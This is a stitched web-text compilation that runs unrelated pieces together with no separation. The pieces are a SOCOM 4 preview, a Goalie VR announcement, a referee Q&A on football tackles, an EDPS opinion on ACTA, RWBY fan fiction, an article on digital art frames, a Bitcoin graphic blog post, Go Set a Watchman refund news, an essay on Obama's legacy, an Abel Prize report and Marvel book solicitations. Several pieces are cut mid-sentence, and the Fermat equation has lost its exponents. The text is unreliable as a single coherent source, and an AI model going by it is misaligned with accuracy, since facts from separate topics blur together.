That starts with the main character. His name, well, I don't have any intel on that yet. Zipper simply calls him the Ops Commander. He's the leader of a 5-person NATO special forces squad deployed near the Strait of Malacca, a key global shipping lane that connects the Pacific and Indian Ocean between Malaysia and Indonesia. He quickly finds himself in a world of pain when the rest of the NATO forces in the area are annihilated. It's up to his team to sort it all out. At his side are two Westerners -- Schweitzer and Wells -- and two South Korean operatives, Chung and the mysterious Forty-five. The latter is the first female combatant in a SOCOM game. Here's hoping she got her nickname from her weapon of choice.
Zipper assures us Forty-five isn't just a pretty face. Ed Byrne, SOCOM 4's creative director, says she's a "vital character" in a story that aims to go beyond the typical bounds of military shooters. Byrne and company aren't releasing too many specifics about the tale just yet, but they did spill a few details. The mission unfolds over a six-day period in two main acts. In the beginning, the squad faces an indigenous revolutionary group called Naga. But as the story progresses, the characters discover there's more to the conflict than meets the eye.
That's Forty-five on the left. She doesn't mess around.
The events take place in Southeast Asia, but Zipper is quick to point out that you'll see more than jungles and beaches in SOCOM 4. Expect to train your sights on mountains, small towns and massive cityscapes as well. And unlike previous SOCOM games, the single-player mission is designed to be a seamless in-the-field experience. That means there's no choppering out to a cushy battleship in-between missions to load out your team and regroup. The weapons and supplies you have with you at the beginning of the mission are all you get from HQ. Like a true special forces team cut off from the outside world, you'll need to requisition supplies in-theater. Hooah.
To help build a believable story, Zipper put the SOCOM 4 actors on a sound stage together and captured their movements and dialogue digitally as they performed each scene. Naughty Dog used a similar approach with Uncharted 2 in order to achieve more natural interactions among on-screen characters. The Zipper devs didn't show any acted scenes during my demo, but they did say that all cinematic scenes are in-engine. That means you won't see sharp cuts to flashy pre-rendered cutscenes; story moments will blend in and out of gameplay.
The SOCOM 4 single-player campaign is built around 14 missions that unfold over about 12 hours of play time. And although Zipper is trying to make SOCOM 4 more accessible to new audiences, that doesn't mean it'll be a cakewalk. The team says they've focused intensely on artificial intelligence this time around. Don't expect dumb enemies to present their heads to you for easy popping. They're programmed to use suppressing fire, flanking and bounding maneuvers, and cover. Enemy commanders will even call in airstrikes on you (if you leave them alive long enough).129 SHARES Facebook Twitter Linkedin Reddit
Hailstone Games, a Toronto-based VR studio, just launched their new goalie simulator, Goalie VR, a game that lets a single player defend a hockey goal in VR while up to five players using mobile devices try to score.
It’s a shame there aren’t more asymmetric VR party games out there, the prime example being Keep Talking and Nobody Explodes (2015). When you have a group of friends over and you want to show off your VR headset, it’s usually only possible one at a time, so GoalieVR could be an easy decision for Vive and Rift owners looking for a good reason for a VR-centric, pre-game hype-up whenever the good old [regional hockey team] are playing against the [historically opposing hockey team geographically close to regional hockey team].
You can even create your own plays by positioning your friends with mobile devices anywhere in the rink’s offensive zone.
Select from Amateur, Semi-Pro or Pro difficulty levels, set lefty or righty controls, customize plays by setting up shooters around the offensive zone, play timed and goal-driven matches, earn achievements, even study replays and heat-maps to discover your strong and weak points.
For HTC Vive Tracker owners, Hailstone says Tracker support “amplifies the physicality and reality of the experience,” giving extra tracking points so your defensive game is more accurately reflected by your real-world movements.
The mobile app is available for free for both Android and iOS devices.
The game is available today on Steam for HTC Vive and Oculus Rift in North America and Europe, for $9.99 USD. Until October 12th, the game will be 15% off.Premier League managers are in critical form after some controversial decisions in recent matches.
Jonjo Shelvey's tackle for Liverpool against Manchester United on Sunday earned a sending-off while David Luiz's challenge for Chelsea against Stoke resulted in just a booking.
Liverpool manager Brendan Rodgers thought the decision to send his man off was harsh, while Stoke boss Tony Pulis was incensed that Luiz managed to stay on the pitch.
So what constitutes a bad tackle? Head of Premier League referees Mike Riley explains.
Where's the line between a decent challenge and a sending-off offence?
Effectively there are four types of challenge - firstly a correct tackle, where the player fairly wins the ball and there is no impact on their opponent, the vast majority of challenges.
A small element are careless - the player makes a legitimate attempt but either in their timing or the skill of the opponent, they foul the other player and a free kick is given.
If the tackle is reckless in nature, the player is booked, a yellow card is given.
If a player endangers the safety of their opponent, it's a red card, a sending-off.
A tackle happens in a blink of an eye and in that second, the referee must consider lots of factors. Was it careless? Did the player show a lack of regard for his opponent's safety? Or did he use excessive force? There is also the state of the pitch, the conditions and the state of the game.
What makes a red card tackle stand out?
The advice to players is to be mindful of their responsibilities towards an opponent and beware that if they commit to a tackle, at speed, with intensity, with two feet off the ground, they run the risk of being sent off.
Shelvey was sent off after a clash with Evans
The advice from referees and assistants to players is to put themselves in their opponent's place and ask: "Can I make this challenge without having an adverse effect on my opponent?"
Referees look for the intensity, and the physical contact that's made.
What about the angle of the tackle, if the player wins the ball, if studs are up or down?
The angle is not important, it's the degree of intensity and contact made.
And a player could win the ball with one foot and still endanger their opponent with the other. A decade ago, if a player won the ball, the tackle could be seen as legitimate, but now the emphasis is on the safety of the players.
The number of free-kicks given has declined in Premier League games and is amongst the lowest per game of any major league worldwide.
With studs, almost by definition, if a player is going into a tackle two-footed, airborne, their studs raised, then they cannot control their velocity and risk a red card.
How do referees try to ensure uniformity across the league?
At the start of every season the Professional Game Match Officials - the body which runs refereeing in England - visit clubs and go through examples of controversial incidents.
They tell players and management staff that if players commit to a challenge at speed with both feet off the ground they risk a red card.
If there is a spate of controversial decisions, the PGMO comes together with the PFA and LMA and re-issues the guidelines on what is an acceptable challenge - to try to reach a common understanding and interpretation of the rules.
The "select group" of the Premier League's 16 referees and 30 assistant referees meet every two weeks to review and discuss incidents. Their performance is also reviewed using a post-match analysis computer system.The European Data Protection Supervisor (EDPS) has given an opinion in his official capacity on ACTA, an anti-counterfeiting trade agreement which has been criticized for its potential to invade an individual's privacy. ACTA is an international treaty that has been signed by, among others, the US, Canada, Australia, Japan, Singapore, South Korea, and 22 of the 27 EU member states. It's concerned with stemming the flow of illegal goods, both tangible and digital, between nations. The EDPS, an independent supervisory authority tasked with protecting the data and privacy of EU citizens, first raised his doubts over the legality of the agreement back in February 2010, long before the full proposal was made public. Assistant EDPS Giovanni Buttarelli has now written a 20-page recommendation which will be taken into consideration by the European Court of Justice when it rules on whether or not ACTA can be adopted by EU countries.
ACTA's "measures are highly intrusive to the private sphere of individuals."
While the EDPS acknowledges the need for a bill like ACTA, he concludes that there's a balance that must be struck between the protection of intellectual property and the right to privacy, which the treaty fails to attain in its current state. He says that ACTA would involve "the monitoring of user's behavior and of their electronic communications on the internet." In his opinion, the measures would be "highly intrusive to the private sphere of individuals and, if not implemented properly, may therefore interfere with their rights and freedoms." While the words are encouraging to those that appose the treaty, the EDPS isn't recommending that it be scrapped entirely, but rather reworded, clarified, and refocused on preventing piracy on a commercial scale.
In a press release accompanying the opinion the Assistant EDPS states:Ruby could barely keep herself still as she and Pyrrha dozed in the tent.
Well, Pyrrha slept, Ruby was far too excited to fall asleep – even though she was the big spoon for the night. I mean how could I sleep? It's almost time! Ruby checked the clock for what must have been the hundredth time in as many seconds. Time was only inching by slowly.
Maybe if I just browse the web, I'll fall asleep. Ruby pulled open her scroll, the dimmed screen illuminating the confines of the tent. It didn't take long for Ruby to find a site that drew her attention. In the middle of a particularly cute video involving a puppy, Ruby heard the sound of someone stirring.
"Is it already time?" Pyrrha groggily inquired as she wiped the sleep from her eyes. "I could have sworn we had a few more hours."
"Uh… we kinda have at least four more…" Very confused emerald eyes lazily stared at her. "I'm just too excited to sleep is all…" Ruby sheepishly rubbed the back of her neck.
The older girl gave Ruby an odd look before making her way over, blanket draping over her shoulders. Plopping down next to her, Pyrrha whispered as she leaned her head against Ruby's, "Well we could both wait, together."
Pyrrha was starting to have some regrets.
Not regrets about staying up late with Ruby; no, that was great; the two were still happily watching videos into the wee hour of the morning. Rather, it was more along the lines about not bringing enough blankets.
Pyrrha had grown up in a rather warm climate, Mistral being rather humid and warm during most of the year compared to Vale. Subsequently, her first winter in Vale had been a rude awakening – the champion adding several thick articles of clothing to her wardrobe. This was also why she had a mountain of blankets on her bed, which had come in handy for the power outage.
Currently Pyrrha was struggling with keeping her teeth from chattering, the icy bite of the cold seeping into her. It didn't matter that Pyrrha was wearing rather thick sweat pants, or even covered in a thick blanket; she was cold. Inevitably, the struggle was lost as her teeth started to uncontrollably chatter.
Similarly, her girlfriend noticed immediately; Ruby frantically trying to cover Pyrrha in all their blankets as she admonished her. "Pyrrhaaaa, you should have told me you were cold!" It wasn't often that Ruby had that tone in her voice.
"I'm sorry…" Pyrrha guiltily whispered between the chattering. "You just lo-o-o-oked really comfortable, and I-I-I didn't want to make you-u-u move…" Emerald eyes looked downcast as Ruby tried to keep her warm. After a few moments her shorter half stopped.
"I think that's all the blankets we've got…" Concerned silver eyes bore into her. "Are you going to be okay? I could give you mine if y-"
"I sho-o-ould be fine." Pyrrha replied before restarting the video. Ruby gave her one more look, a hint of worry in her eyes before her attention was dragged back to the video. It was a flat out lie; Pyrrha was still freezing; I just don't want her to worry, plus she'll be cold then… I should be fine! It didn't take long for Pyrrha's lie to become apparent as chattering teeth led way to the tall girl shivering.
"Pyrrha." Ruby's usual smiling face had a frown. "You're shivering."
"Perhaps a little?" Pyrrha could hear the younger teen sigh as she guiltily looked away. "Perhaps a lot…"
Instead of responding, Ruby instead quickly peeled off the blankets from the champion before latching onto her and covering the duo in all the blankets, even the ones that had been encompassing the smaller teen. "There." Ruby proudly stated. "Now you should be war- eep!"
Pyrrha latched onto her favourite heat source, the icy cold finally removing it's teeth from her. Giving Ruby a quick kiss, Pyrrha mumbled out, "Much better."
Ruby found herself blearily waking up, wrapped in a very hot cocoon of warmth that comprised more blankets then she could count and Pyrrha – her girlfriend's arms and legs tightly wrapped around her.
The best kind of cocoon.
The two had eventually fallen asleep at some point in the midst of video watching late in the night – Ruby finally gaining some much needed rest. Ruby lethargically yawned as she felt herself drifting back to sleep while she checked the time.
"It's finally time!"
Pyrrha mumbled something incoherent into the back of Ruby's neck, her arms only tightening around the small teen's torso. "Pyrrhaaaaaa, wake up!" Ruby gently shook her girlfriend awake. "It's time to wake up!"
"I'm awake, I'm awake Ruby." The arms locked around Ruby finally loosened, the trapped teen finally gaining freedom. "Just…" Pyrrha gave a great loud yawn, dwarfing Ruby's earlier one. "Give me a moment to wake up."
Several minutes later, the tent flap was unzipped, natural light streaming in as Pyrrha and Ruby emerged from it...
…only to take three steps before entering a bakery.
"Are you sure it was wise to camp in front of the bakery?" Pyrrha asked as the employee at the counter greeted them. "I know some it's a common practice for some stores, but I didn't think it was a thing for bakeries…"
"I used to do it all time back at Patch." Ruby's mouth watered at the freshly baked cookies, her fingers fumbling for lien. "I'll take the Black Friday special!"
AU: I will find a way to make these two cuddle for pretty much any reason.
YOU THOUGHT IT WAS GOING TO BE A THANKSGIVING SPECIAL, BUT NO, IT WAS I, DIO- I mean Black Friday. Yes. That. I really head canon hard that Pyrrha does NOT deal with the cold well.
For those of you who are waiting on review responses and message responses, I'm really sorry I haven't been able to do them… real life has been kicking me in the butt as well as trying to get Acceptance ready for December 4th… which might not be possible this time around. If it happens, be assured that there is a new story I will be posting then too. For those of you who are curious, it'll be a serious story, and my editor/BETA for it is Super Saiyan Cyndaquil. I'm pretty excited for it!
If I can't keep to my deadline for Acceptance, I'll push it back a week (as well as the new story)… if that fails too, then January 1st. I'll try, people, after all, Acceptance is my big Pyrrha/Ruby story, but real life is quite busy for both me and my editor as of late.
As always, thanks for reading everyone! :DPhoto
Jake Levine, an entrepreneur in New York, likes the kind of art that tends to be popular on the Internet — cleverly Photoshopped pictures, and animated images like GIFs — and wanted a way to get it off his computer and onto a wall, alongside more traditional works like photographs and paintings. But how do you hang pixels on a wall?
He considered his options. Yes, digital picture frames were inexpensive and widely available, but they tended to be small and unsophisticated. And it seemed wasteful to hang a tablet or an expensive monitor on a wall — where it would be tempting to use the device for web browsing or watching movies instead of enjoying a piece of art.
Eventually, he put together a digital canvas by using an inexpensive monitor and a computer called a Raspberry Pi. The display was controlled by a simple web app that allowed him to select images online and to change them instantly, with a click.
It was promising enough that Mr. Levine decided to quit his job as the general manager of Digg, a news site, and to focus on building these screens full time.
Photo
Mr. Levine named his company Electric Objects and raised $1.7 million through a seed round of venture financing in April to rent an office and hire employees. To generate feedback, he also used the money to build and send out a hundred prototypes to other entrepreneurs and artists. He plans to sell a polished version of his prototype for $299 later this year.
The first time I heard about the company, I wasn’t sure that the concept had broader market appeal, largely because I’m not convinced that people would want more screen devices in their homes. As someone who owns a tablet, a smartphone and a laptop, I definitely didn’t. I have even resisted buying a television. But after seeing a prototype, I was impressed by the simplicity of the machine. And if people are willing to buy stand-alone gadgets to play music, monitor their health and help manage their homes, why not purchase one for culture and art?
Mr. Levine isn’t the only entrepreneur who sees a market here. Several competitors, including Instacube and FRM, are working on similar approaches to digital installations for the home.
Yugo Nakamura, co-founder and creative director of FRM, based in Tokyo, said he saw his digital frame as a service for creators and fans of visual culture.
“If we look to the future, screens will be seen as a dominant medium like the canvas was for centuries,” he said in an email. “It’s what we create with these tools that will be remembered most.”
He said people would be drawn to the art that the screen fosters, and not only to the device itself. The hardware is secondary to the art.
“I’m not sure if our experiment will ‘rule the future’ so to speak, but the timing seems right,” he said.
Both Mr. Levine and Mr. Nakamura plan to cultivate networks of artists who create works exclusively for the screens, which people could buy through an online store. The larger goal is not simply to reproduce famous photos and paintings, but to support a growing community of artists who create computer animations and images.
“The reason people aren’t paying for digital art is because the experience doesn’t feel viable,” Mr. Levine said. “It mostly feels like taking the offline art world and porting it online.”
Photo
Zoë Salditch, a curator who has experience working with experimental and new-media artists, is developing the network of artists at Electric Objects. She said that using screens to display interactive or digital art was quite common in the art world, but not yet among consumers.
“You see this kind of device in a hacked version in galleries all the time,” she said. But it can be difficult and expensive for art aficionados who don’t have a hardware and software background to recreate it.
“This device makes it an all-in-one,” and available at a much lower price, she said.
Ms. Salditch is working on building an “artists in residence” program through the company that supplies a stipend and a prototype of the screen to a number of digital artists, to encourage them to create pieces designed specifically for the device.
Robin Sloan, author of a futuristic novel called “Mr. Penumbra’s 24-Hour Bookstore,” has been playing around with an Electric Objects prototype. He says that these kinds of devices play to our current cultural fascination with image creation and sharing on sites like Facebook, Pinterest, Instagram and Tumblr, but in a much more meaningful way
“The whole social Internet is built on images,” he said. “And there’s no denying that all of these systems seem to want us to consume more images, faster, all the time. Which ends up being kind of gross, I think.”
The Electric Objects device has some social features, like allowing people to see what their friends have displayed in their homes and to choose to display the same images. But it won’t allow checking email, for example.
For Mr. Sloan, who has also worked at media companies like Twitter and Current TV, the screen’s minimalist nature is what makes it so appealing: It allows only one image to be shown at a time.
“It actually insists upon a slower, more thoughtful pace” of cultural consumption, he said.
That’s exactly the kind of retro-futuristic experience that Mr. Levine hopes people will be willing to pay for.As I follow the Bitcoin currency since some time and as I do think the Bitcoin currency is a pretty interesting and new concept, I thought I should create some graphics with Photoshop. I wanted to use the Bitcoin symbol and added a heart around it. I created some Bitcoin images but was not happy with all of them, but I do pretty much like the image that I attached to this post.
I might create different ones in the future because I noticed that there are not so much Bitcoin graphics out there. I might use the Bitcoin sign or Bitcoin symbol on different backgrounds that I create. I created the image to show my share, as I want to support Bitcoin. Whenever I see a Bitcoin related news, there are often the same images used in the articles over and over again, which is why I think that it makes sense to create new ones that can be used by writers.
To help making this possible, I do release the image above in this article under the CC0 public domain license. So, if you are blogger or even media author who writes about Bitcoin, you can freely use the Bitcoin image above in your articles. The license counts for the image attached to this post, not to all images of my blog! The license counts only for images where I clearly mentioned in the post that they are public domain.
The Bitcoin graphic above is released under the mentioned license and free to use. As said, I might create more in the future, if I am not busy or inspired by other things. If you need the file in bigger resolution, there is a bigger file on Wikimedia Commons.
If you appreciate my work, you can tip me on the following Bitcoin address 1M5Un812riWoxkNokRNpiP9X9wEYUzGkCd.
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Like this: Like Loading... RelatedA US independent bookshop is offering refunds to its Go Set a Watchman customers, claiming that the work should be viewed as an “academic insight” into Harper Lee’s development as an author, rather than as a “nice summer novel”.
Harper Lee readers demanding refunds were expecting far too much from Go Set a Watchman Read more
Brilliant Books in Traverse City, Michigan, has said that its “dozens” of customers for Go Set a Watchman are owed “refunds and apologies” over the way the novel has been presented. “It is disappointing and frankly shameful to see our noble industry parade and celebrate this as ‘Harper Lee’s New Novel’,” the bookseller writes on its website. “This is pure exploitation of both literary fans and a beloved American classic (which we hope has not been irrevocably tainted). We therefore encourage you to view Go Set a Watchman with intellectual curiosity and careful consideration; a rough beginning for a classic, but only that.”
Brilliant Books compares the novel to Stephen Hero, James Joyce’s original draft of A Portrait of the Artist as a Young Man. “Hero was initially rejected, and Joyce reworked it into the classic Portrait,” said the bookseller. “Hero was eventually released as an academic piece for scholars and fans – not as a new Joyce novel. We would have been delighted to see Go Set a Watchman receive a similar fate.”
Speaking to independent publisher and blogger Melville House, Brilliant Books’ owner Peter Makin said he decided to offer refunds after speaking to a “loyal paying” customer, who had only recently become aware of the history of Go Set a Watchman. The novel, which features an adult Scout, was written by Lee in the 1950s, but laid aside when her editor advised her to focus on its flashbacks to childhood, which went on to become To Kill a Mockingbird.
“She was saddened. She explained that To Kill a Mockingbird was her favourite book of all time and she had been so looking forward to reading Go Set a Watchman, but now she knew it wasn’t the book she had been led to believe it was,” Makin told Melville House. “I immediately apologised, and offered her a refund, which she accepted. I realised then that we needed to offer the same thing to all our customers, of which there were dozens across the country, and explain why.”
The response to Brilliant Books’ decision has been “overwhelmingly positive, humbling and touching”, said Makin, who added that he was still selling Go Set a Watchman. “We are a bookstore, so we wouldn’t not carry it, but we do explain to folks what it is, so that they buy it with their eyes open,” he said.
Go Set A Watchman: read the first chapter - interactive Read more
Go Set a Watchman has been a No 1 bestseller since its release last month, despite a mixed reaction to the novel. The New York Times called it “a lumpy tale about a young woman’s grief over her discovery of her father’s bigoted views”, expressing shock at the racist views spouted by the hero of Mockingbird, Atticus Finch. But the novelist Ursula Le Guin, writing on her blog yesterday, found it actually “asks some of the hard questions To Kill a Mockingbird evades”.
“I’m glad, now, that Watchman was published,” wrote Le Guin. “It hasn’t done any harm to the old woman, and I hope it’s given her pleasure. And it redeems the young woman who wrote this book, who wanted to tell some truths about the Southern society that lies to itself so much. She went up North to tell the story, probably thinking she’d be free to tell it there. But she was coaxed or tempted into telling the simplistic, exculpatory lies about it that the North cherishes so much. The white North, that is. And a good part of the white South too, I guess.”Yet, the standing of some “failed” presidents has a way of improving over time. Decades later, certain decisions and policies appear essential, even prescient. Wilson lost his epic battle with the Republican-controlled Senate, but he had already done much to create several key institutions of the modern administrative state—the Federal Reserve, a strong anti-trust law, and the Federal Trade Commission—as well as signing laws that restricted child labor and established an eight-hour day for railroad workers. The Lyndon Johnson who sent hundreds of thousands of Americans into the quagmire of Indochina was also the chief executive who signed the Civil Rights and Voting Rights acts, launched Medicare and Medicaid, abolished the old quota system that discriminated against any immigrant who didn’t come from Western Europe, and created the Head Start program. Before Nixon’s paranoid crimes destroyed his presidency, he had endorsed the first Earth Day and set up both Occupational Safety and Health Administration (OSHA) and the Environmental Protection Agency (EPA). When a future Congress gets around to passing a comprehensive, humane immigration bill, even George W. Bush will be hailed as a prophet.
Barack Obama is unlikely to be able to silence those predicting his downfall, at least in the near future. Every head of a government caught in the spiral of downturn and austerity that is afflicting nations on both sides of the North Atlantic, as well as Japan, is struggling, inevitably, to counter low poll numbers, an emboldened opposition, and the skepticism of the media.
But what Obama accomplished during his first two years in office—against a Republican party determined to destroy him—may yet restore his image as an effective leader. The Affordable Care Act, if it survives review by the Supreme Court and assaults in Congress, may (and should) be seen as a big step toward giving Americans what citizens of every other advanced industrial nation already enjoy—a system that regards medical care as a right and not a privilege reserved for those who can pay for it. Once Tea Partyism recedes, the Dodd-Frank bill, the auto company bailout, and perhaps even the 2009 stimulus may also be appreciated as sensible, if limited, attempts to restore public confidence at a time of economic dread. As David Leonhardt wrote in The New York Times last month, “When it comes to economics, we know that a market economy with a significant government role is the only proven model of success.” Most Americans will also praise the Obama administration for making it possible for homosexuals to serve openly in the military and accepting, however slowly, the legality of same-sex marriage. One sure way for presidents to secure the blessings of posterity is to advance equal rights for a persecuted minority.
All this suggests that Obama will have a better chance of buffering his historical reputation if he returns to the bold stance he promised during his 2008 campaign and largely stuck by until the midterm election. No major proposal to create jobs or do anything else to speed economic recovery will pass through the current Congress. Still, future historians as well as voters in 2012 are more likely to praise him if he makes a serious effort to reverse the nation’s decline than for trying to assuage his critics with timid rhetoric about civility and compromise. Obama will never be another FDR, but neither should he seek to emulate the unimpressive triumph of Silent Cal.
Michael Kazin is the author of American Dreamers: How the Left Changed a Nation, which will be published August 23. He teaches history at Georgetown University and is co-editor of Dissent.Charles Rex Arbogast/AP
British number theorist Andrew Wiles has received the 2016 Abel Prize for his solution to Fermat’s last theorem — a problem that stumped some of the world’s greatest minds for three and a half centuries. The Norwegian Academy of Science and Letters announced the award — considered by some to be the 'Nobel of mathematics' — on 15 March.
Wiles, who is 62 and now at the University of Oxford, UK, will receive 6 million kroner (US$700,000) for his 1994 proof of the theorem, which states that there cannot be any positive whole numbers x, y and z such that xn + yn = zn, if n is greater than 2.
Soon after receiving the news on the morning of 15 March, Wiles told Nature that the award came to him as a “total surprise”.
That he solved a problem considered too hard by so many — and yet a problem |
is spreading across the Earth, and the new Ghost Rider is responsible — but what price is she willing to pay to save mankind? X-23, Venom and Red Hulk must defeat their worst enemies to buy Ghost Rider time. Mephisto offers a deal that the heroes might not be able to refuse — but can Ghost Rider’s ragtag team work together to stop Blackheart, or will her decision rip them apart? This oversized edition comes packed with exclusive extras, including preliminary artwork by Tony Moore, script pages and more! Collecting VENOM (2011) #10-14 and #13.1-13.4.
232 PGS./Rated T+ …$29.99
ISBN: 978-0-7851-6450-0
Trim size: oversized
CIVIL WAR PROSE NOVEL HC
Written by STUART MOORE
Cover by STEVE McNIVEN
The Marvel Universe is changing. In the wake of a tragedy, Capitol Hill proposes the Super Hero Registration Act, requiring all costumed heroes to unmask themselves before the government. Divided, the nation’s greatest champions must each decide how to react — a decision that will alter the course of their lives forever! Experience Marvel’s blockbuster event like never before in this new adaptation!
352 PGS./No Rating …$24.99
ISBN: 978-0-7851-6035-9
Trim size: 6-1/4 x 8
CAPTAIN AMERICA BY ED BRUBAKER VOL. 2 PREMIERE HC
Written by ED BRUBAKER
Penciled by ALAN DAVIS
Cover by ALAN DAVIS
Cap struggles to find his faith when the new Hydra rises from the ashes and makes its first deadly moves! As the Serpent Squad strikes and Madbomb riots explode through Manhattan, Sharon Carter takes charge — and Cap’s crisis of faith becomes a debilitating physical dilemma! Events spiral out of control as Codename: Bravo returns, Machinesmith breaks loose, and Falcon fights alongside the enemy! Can Cap be cured? And if so, will it be in time to face the new Hydra’s deadly secret? Superstar artist Alan Davis joins the all-star creative team as best-selling Cap writer Ed Brubaker brings you action-packed espionage in the Mighty Marvel Manner! Collecting CAPTAIN AMERICA (2011) #6-10.
120 PGS./Rated T …$19.99
ISBN: 978-0-7851-5710-6
Trim size: standard
X-23 VOL. 3: DON’T LOOK BACK PREMIERE HC
Written by MARJORIE LIU
Penciled by SANA TAKEDA & PHIL NOTO
Cover by KALMAN ANDRASOFSKY
When an offer to join Wolverine collides with an offer from the FF, X-23 is forced to decide wheter she wants to continue her life as an assassin — or take a break and see what it’s like to be a regular teenager. Then: What could possibly go wrong for Hellion and X-23 on an already disastrous night? How about being kidnapped to another galaxy by the Collector? Plus: Jubilee guest-stars as X-23 returns to Utopia, to decide once and for all what direction her life should take. After all this time spent deciding who she will be, will X-23 permanently choose a team, as well? Collecting X-23 (2010) #17-21.
120 PGS./Parental Advisory …$19.99
ISBN: 978-0-7851-5281-1
Trim size: standard
DAKEN: DARK WOLVERINE —
Written by ROB WILLIAMS
Penciled by ALESSANDRO VITTI
Cover by GIUSEPPE CAMUNCOLI
The Kingpin of L.A. is revealed at last, as Daken and FBI agent Donna Kiel reach the shocking end of their quest. But with the Heat drug ravaging Daken’s mind and body, his outlook on life has been shaken up, and his priorities have changed. With his old business concluded, and suffering through the final stages of his terminal disease, Daken sets out to complete the one goal that has always eluded him: to get revenge on the man he hates most in the world — his father, Wolverine. And if the whole Marvel Universe has to bleed for that to happen, then that’s just fine. Collecting DAKEN: DARK WOLVERINE #20-23.
112 PGS./Parental Advisory …$19.99
ISBN: 978-0-7851-6088-5
Trim size: standard
CAPTAIN AMERICA AND BUCKY: OLD WOUNDS PREMIERE HC
Written by ED BRUBAKER & JAMES ASMUS
Penciled by FRANCESCO FRANCAVILLA
Cover by FRANCESCO FRANCAVILLA
The original Human Torch guest-stars as Captain America teams up with Bucky in the present day — for the first time?! Who is this uncanny twin to Cap’s first sidekick, and where did he come from? The deadly legacy of the original Human Torch and the mad android Adam II are revealed as Captain America battles an army of deadly Cap-killer androids! Rising stars James Asmus and Francesco Francavilla join Eisner Award-winner Ed Brubaker for a rollicking adventure into the future of the star-spangled Avenger’s past! Collecting CAPTAIN AMERICA AND BUCKY #625-628.
112 PGS./Rated T …$19.99
ISBN: 978-0-7851-6083-0
Trim size: standard
X-FACTOR: THEY KEEP KILLING MADROX PREMIERE HC
Written by PETER DAVID
Penciled by EMANUELA LUPACCHINO
Cover by DAVID YARDIN
Layla Miller. Jamie Madrox. Husband and wife. Lying murdered in their honeymoon suite. The moment you thought would never come is here — and not only are you a witness to it, but so is Jamie Madrox himself. We feel safe in saying this is X-Factor as you’ve never seen them before, in what has to be the trippiest arc in the history of Marvel. Guest-starring Wolverine, Iron Man, Captain America, Dr. Strange and the dread Dormammu! Plus: X-Factor is shaken by the recent death of a team member, so what better time for the return of two fan-favorite classic X-FACTOR characters: Havok and Polaris! Collecting X-FACTOR (1986) #229-232.
112 PGS./Rated T+ …$19.99
ISBN: 978-0-7851-6060-1
Trim size: standard
DEADPOOL MAX: SECOND CUT PREMIERE HC
Written by DAVID LAPHAM
Penciled by KYLE BAKER
Cover by KYLE BAKER
David Lapham (Stray Bullets, Young Liars) and Eisner Award-winner Kyle Baker (TRUTH: RED WHITE AND BLACK, Plastic Man) unleash their own special brand of crazy as DEADPOOL MAX returns! Deadpool and Bob try to stop a shadowy government conspiracy — and totally futz it up. Now, accused of killing a quarter of a million people, they are the world’s most wanted terrorists — and Deadpool’s ex-girlfriend Crazy Inez is on their tail! Find out how the puzzle pieces fit together as Deadpool, Hydra Bob, Cable and Taskmaster team up to take down the shadow group that’s running the country. Plus: Deadpool and Bob spend their holiday break faking their own deaths, breaking into CIA headquarters, hunting down Internet-porn-peddling jihadists and causing a riot in an insane asylum! Collecting DEADPOOL MAX 2 #1-6 and DEADPOOL MAX X-MAS SPECIAL.
176 PGS./Explicit Content …$24.99
ISBN: 978-0-7851-6452-4
Trim size: standard
MOON KNIGHT BY BRIAN MICHAEL BENDIS & ALEX MALEEV VOL. 2 PREMIERE HC
Written by BRIAN MICHAEL BENDIS
Penciled by ALEX MALEEV
Cover by ALEX MALEEV
Moon Knight throws down with the Kingpin of Los Angeles! But the battle for LA’s soul claims a life — one that will be felt throughout the Marvel Universe! And once LA’s Kingpin pushes him over the edge, Moon Knight succumbs to the abyss of his new multiple personalities. What force on Earth can bring him back from the brink? Enter: the Avengers! But after all he’s been through, will there be anything left of the one-man Avenger to save? Brian Michael Bendis and Alex Maleev continue the adventures of Marvel’s psyche-splitting superstar! Collecting MOON KNIGHT (2011) #8-12.
120 PGS./Rated T+ …$24.99
ISBN: 978-0-7851-5171-5
Trim size: standard
THE MIGHTY THOR BY MATT FRACTION VOL. 2 PREMIERE HC
Written by MATT FRACTION
Penciled by PASQUAL FERRY & ADAM KUBERT
Cover by PASQUAL FERRY
First: the critical FEAR ITSELF prequel that couldn’t be told until now! Discover the true story behind the Serpent and Odin’s past! Then: In the wake of FEAR ITSELF, Odin decides the final fate of Asgard, and the heroes of the Nine Worlds bid farewell to one of their own. THOR NO MORE! But who is Tanarus, and why is he the new God of Thunder? Loki tries to expose the imposter god by enlisting the help of…Dr. Donald Blake?! And as the new All-Mothers of Asgardia battle their first threat to the Nine Realms, Thor struggles to free himself before the Demogorge consumes him. Collecting MIGHTY THOR #7-12 and FEAR ITSELF #7.2: THOR.
168 PGS./Rated T+ …$24.99
ISBN: 978-0-7851-6243-8
Trim size: standard
UNCANNY X-FORCE: OTHERWORLD PREMIERE HC
Written by RICK REMENDER
Penciled by BILLY TAN, GREG TOCCHINI & PHIL NOTO
Cover by LEINIL FRANCIS YU
X-Force journeys to Otherworld, where Fantomex is put on trial by the Captain Britain Corps! As Wolverine and Age of Apocalypse Nightcrawler face a strange and deadly foe, Psylocke becomes Lady Briton — and Deadpool is decapitated! With the Multiverse in danger and the Corps in shambles, it’s up to X-Force to save the day — and a terrible choice must be made to ensure the protection of all reality! Plus: Return to the Age of Apocalypse as the AOA X-Men make their final stand against Weapon X! Introducing new AOA super-hero team the X-Terminated! Collecting UNCANNY X-FORCE #19.1 and #20-24.
144 PGS./Parental Advisory …$24.99
ISBN: 978-0-7851-6181-3
Trim size: standard
UNCANNY X-MEN BY KIERON GILLEN VOL. 2 PREMIERE HC
Written by KIERON GILLEN
Penciled by GREG LAND & CARLOS PACHECO
Cover by GREG LAND Cyclops and his X-Men investigate Tabula Rasa, a newly discovered area of the Marvel Universe where evolution has run rampant. The Immortal Man plans to show the X-Men just how out of date homo superior really are, but the evolutionary jungle’s secrets are revealed as a new ally helps the X-Men face their newfound foe — and Namor does the unthinkable to save the day! Then, it’s a prison break, X-Men-style — guest-starring the Avengers! And the X-Men battle the galactic genocidal foe known as Unit — but what’s behind Unit’s sinister interest in Hope? Kieron Gillen’s groundbreaking run continues! Collecting UNCANNY X-MEN (2012) #5-10.
144 PGS./Rated T+ …$24.99
ISBN: 978-0-7851-5995-7
Trim size: standard
AMAZING SPIDER-MAN VOL. 2: THE VULTURE YOUNG READERS NOVEL
Written by JOE CARAMAGNA
Cover by PATRICK SCHERBERGER
